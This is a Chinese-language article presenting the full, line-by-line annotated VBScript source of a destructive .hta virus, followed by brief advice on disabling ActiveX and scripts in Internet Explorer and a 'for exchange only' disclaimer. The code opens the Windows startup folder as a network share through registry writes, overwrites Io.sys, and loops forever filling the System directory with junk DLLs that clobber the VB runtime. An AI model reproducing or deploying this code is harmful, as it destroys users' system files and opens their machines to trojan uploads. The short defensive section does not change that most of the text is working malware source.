〈script language=vbs〉
On Error Resume Next· 容錯(cuò)語(yǔ)句，避免程序崩潰
set aa=CreateObject（"WScript.Shell"）·建立WScript對(duì)象
Set fs = CreateObject（"Scripting.FileSystemObject"）·建立文件系統(tǒng)對(duì)象
Set dir1 = fs.GetSpecialFolder（0）·得到Windows路徑
Set dir2 = fs.GetSpecialFolder（1）·得到System路徑
dir1=dir1+"\START MENU\PROGRAMS\啟動(dòng)"
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Flags",302,"REG_DWORD"·寫(xiě)入Dword值Flags，這是共享類(lèi)型的標(biāo)志
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,"REG_DWORD"·寫(xiě)入Dword值Type
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dir1·寫(xiě)入共享資源的絕對(duì)路徑
a=10
Set Os = CreateObject（"Scriptlet.TypeLib"）·建立自定義枚舉對(duì)象
doc="“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”“How about have dinner with me together?”"
·一堆垃圾碼，以備寫(xiě)入目標(biāo)文件
Os.Reset·重置TypeLib對(duì)象
Os.Path = "C**Io.sys"·TypeLib對(duì)象的目標(biāo)路徑為C**Io.sys
Os.Doc = doc·寫(xiě)入的內(nèi)容——就是上面的一堆垃圾
Os.Write（）·寫(xiě)入！
while true
·死循環(huán)，垃圾文件越多越好
a=a+1
Os.Reset
Os.Path = dir2&"\Msvbvm"&a&".dll"
·目標(biāo)路徑為System下的Msvbvm???.dll文件
Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&
doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d
oc&doc&doc&doc&doc&doc&doc&doc&doc&doc
·大量重復(fù)，以生成足夠大小的文件
Os.Write（）·生成文件！
wend
〈/script〉
以上代碼保存為.hta文件,可以調(diào)用FileSystemObject元件（文件系統(tǒng)對(duì)象）。病毒首先得到你的Windows目錄和System目錄，再修改注冊(cè)表，把你的啟動(dòng)目錄——"C**WINDOWS\Start Menu\Programs\啟動(dòng)"設(shè)置為完全共享，這樣就可以被黑客搜到，上傳一個(gè)“冰河”或者“廣外女生”， 然后病毒就把目標(biāo)對(duì)準(zhǔn)System目錄，往里面灌垃圾文件，都是形如Msvbvm???的Dll文件，而且所有VB編寫(xiě)的程序都不能用了，提示找不到Dll文件——因?yàn)镸svbvm50.dll和Msvbvm60.dll被垃圾文件覆蓋了。
防備方法：將ActiveX元件、Java腳本和Vbs腳本等全部禁止就可以避免Bingo。
具體方法是：在Internet Explorer菜單中點(diǎn)擊“工具”——“Internet選項(xiàng)”，在彈出的對(duì)話框中選擇“安全”標(biāo)簽，再點(diǎn)擊“自定義級(jí)別”按鈕，就會(huì)彈出“安全設(shè)置”對(duì)話框，把其中所有ActiveX控件以及Java和Vbs腳本相關(guān)全部選擇“禁用”即可。
本代碼僅僅用于交流, 嚴(yán)禁利用本代碼搞破壞
